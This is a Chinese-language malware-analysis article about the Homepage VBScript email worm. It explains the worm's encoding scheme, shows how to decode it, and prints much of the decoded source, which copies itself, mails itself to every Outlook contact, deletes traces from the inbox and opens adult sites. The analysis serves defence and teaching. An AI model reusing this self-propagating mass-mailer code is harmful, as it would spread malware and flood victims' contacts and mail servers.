典型的邮件型病毒代码分析

随着 Internet 的迅猛发展,电子邮件成为人们相互交流最常使用的工具,于是它也成为新型病毒——电子邮件型病毒的重要载体。最近一两年,出现了许多危害极大的邮件型病毒,如去年闹得沸沸扬扬的 ILOVEYOU 病毒、Melissa 病毒以及更早些时候的“泡泡男孩”等,而最近又有的 “库尔尼科娃”病毒、“Naked Wife” 病毒以及 Homepage 病毒等,这些病毒的特征就是危害较大,主要是利用电子邮件作为传播途径,而且这类病毒一般都是专挑 Windows平台上应用最普遍的邮件客户端——Microsoft Outlook 来下手,其发作和破坏

主要是通过利用 Outlook 的可编程特性来完成的,在收件人使用 Outlook 打开邮件或邮件附件时,里面的病毒就会自动激活并向“通讯簿”的所有人发带有病毒附件的邮件,类似于蠕虫一样“蠕动”,从而导致病毒的大规模迅速传播。如果是在企业环境中,由于网络速度较快,“通讯簿”中人数较多,只要用户打开已感染病毒的邮件,邮件会立即大规模地复制与传播,从而可能致使邮件服务器耗尽资源而瘫痪,其中部分病毒甚至可能破坏用户本地硬盘上数据和文件。

  下面我们来分析一下最近出现的 Homepage 病毒,了解它的运行机制,以便对症下药,防毒治毒。

  感染了 Homepage 病毒的邮件通常都带有一个名为 Homepage.html.vbs 的附件,很多人本以为他是一个 Html 页面而打开它的同时,这个其实是一个 VBScript 的文件已经开始执行了,这个文件的部分内容如下:

———————————–

Execute DeCode(”QpGttqtTguwogPgzvUgvYU?Etgcvg
Qdlgev*UgvHUQ?Etgcvgqdlge
……………….(省略)…………………
uqhvyctg^Cp^ockngf0GpfKhPgzvGpfKh
PgzvGpfkhGpfHwpevkqp”)

Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9)
  Else CurChar = Chr(Asc(CurChar) – 2)
  End If
  DeCode = DeCode & CurChar
 Next
End Function
————————————-

  显而易见,病毒对自已的源码进行了加密以加强隐蔽性,加密后的代码就是 DeCode(”…”) 函数中间的那些乱七八糟的东西,这段 Script 在执行的时候先对利用 Decode 函数对自己进行解密,然后再执行(Execute)解密后的源代码。

  我们只要对上述代码稍加修改,就能得到未加密的病毒源代码,修改后的文件另存为 SourceCode.vbs ,如下所示:

————————————–
REM 得到病毒源代码

strCode =
DeCode(”QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*
UgvHUQ?Etgcvgqdlge
……………….(省略)…………………
uqhvyctg^Cp^ockngf0GpfKhPgzvGpfKh
PgzvGpfkhGpfHwpevkqp”)

REM 将源代码存放到一个文本文件中

Set FSO = CreateObject(”Scripting.filesystemobject”)
Set fCode = FSO.OpenTextFile(”Code.txt”,2,true)
fCode.Write strCode
fCode.Close
FSO.Close

REM 解密函数
Function Decode(Coded)
……(省略)…….
End Function
————————————-

  双击运行 SourceCode.vbs ,就可以在同一个目录下生成一个 Code.txt ,里面就是未加密的病毒源代码,部分关键代码如下所示:

————————————-
On Error Resume Next
Set WS = CreateObject(”WScript.Shell”)

‘—复制自已(病毒的典型特性之一)

Set FSO= Createobject(”scripting.filesystemobject”)
Folder=FSO.GetSpecialFolder(2)

Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
‘–将文件本身的内容读到内存中
Do While InF.AtEndOfStream<>True
 ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop

Set OutF=FSO.OpenTextFile(Folder&”homepage.HTML.vbs”,2,true)
OutF.write ScriptBuffer
‘–写到同名文件中,复制任务完成
OutF.close
Set FSO=Nothing
‘–病毒编写者的编程习惯倒是挺好,懂得关闭不用的资源,难得

‘—向 outlook 的地址簿中的每一个地址发去一封携毒邮件
,同时在注册表项 HKCUsoftwareAnmailed 中为自已做的一个标记,
保证在同一台主机上只发一次(传播也是病毒的典型特性)

If WS.regread (”HKCUsoftwareAnmailed”) <> “1” then
Mailit()
End If

‘—搞破坏,检索OUTLOOK收件箱,将其中主题为“Homepage”的邮件统统
删除并将“已删除文件夹”中清空,同时随机打开四个色情
站点中的一个(破坏用户的数据是病毒的又一典型特性)

Set s=CreateObject(”Outlook.Application”)
Set t=s.GetNameSpace(”MAPI”)
Set u=t.GetDefaultFolder(6)
‘– u对象就是“收件箱”文件夹,下面的循环将指定的邮件全部删除
For i=1 to u.items.count
If u.Items.Item(i).subject=”Homepage” Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next

Set u=t.GetDefaultFolder(3)
‘– u对象就是是“已删除邮件”文件夹,删除了还不够,还要清空,真够狠毒的
For i=1 to u.items.count
If u.Items.Item(i).subject=”Homepage” Then
u.Items.Item(i).delete
End If
Next

‘—随机打开四个色情站点中的一个(色情站点域名省略,有人说这是病毒
作者在为自已的站点“拉客”)
Randomize
r=Int((4*Rnd)+1)
If r=1 then WS.Run(”http://…./shannon/1.htm”)
elseif r=2 Then WS.Run(”http://…./_XMCM/prinzje/1.htm”)
elseif r=3 Then WS.Run(”http://…./amateur/sheila/1.htm”)
ElseIf r=4 Then WS.Run(”http://…./1.htm”)
End If

‘—向 outlook 的地址簿中的地址发送邮件的函数
Function Mailit()
On Error Resume Next
Set Outlook = CreateObject(”Outlook.Application”)
‘–创建一个 Outlook 对象
If Outlook = “Outlook” Then
Set Mapi=Outlook.GetNameSpace(”MAPI”)
Set Lists=Mapi.AddressLists
For Each ListIndex In Lists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count= 1 To ContactCount
Set Mail = Outlook.CreateItem(0)
‘–创建新邮件
Set Contact = ListIndex.AddressEntries(Count)
‘–取地址
Mail.To = Contact.Address
Mail.Subject = “Homepage”
‘–设置邮件主题
Mail.Body = vbcrlf&”Hi!”&vbcrlf&vbcrlf&”You’ve got to see
‘–设置邮件内容 this page! It’s really cool ;O)”&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
‘–将病毒脚本加为附件
Attachment.Add Folder & “homepage.HTML.vbs”
Mail.DeleteAfterSubmit = True
If Mail.To <> “” Then
Mail.Send
WS.regwrite “HKCUsoftwareAnmailed”, “1”
‘–在注册表中做标记,以防止再次重发
End If
Next
End If
Next
End if
End Function

————————————-

  从以上代码分析可以看出,这个病毒虽然传播性很强,但破坏性不是特别大,它至少没有对用户硬盘上的文件做更改。虽然如此,但它还是具有一般病毒的典型特性,即:复制、传播和破坏,这个病毒和其它的一些电子邮件型病毒如“库尼科娃”,爱虫等其原理都是大同小异的,理解这些原理之后,我们就要可以找到一些防治这些病毒发作的有效办法。

(本文发表于新浪科技)

“典型的邮件型病毒代码分析”的2个回复

发表评论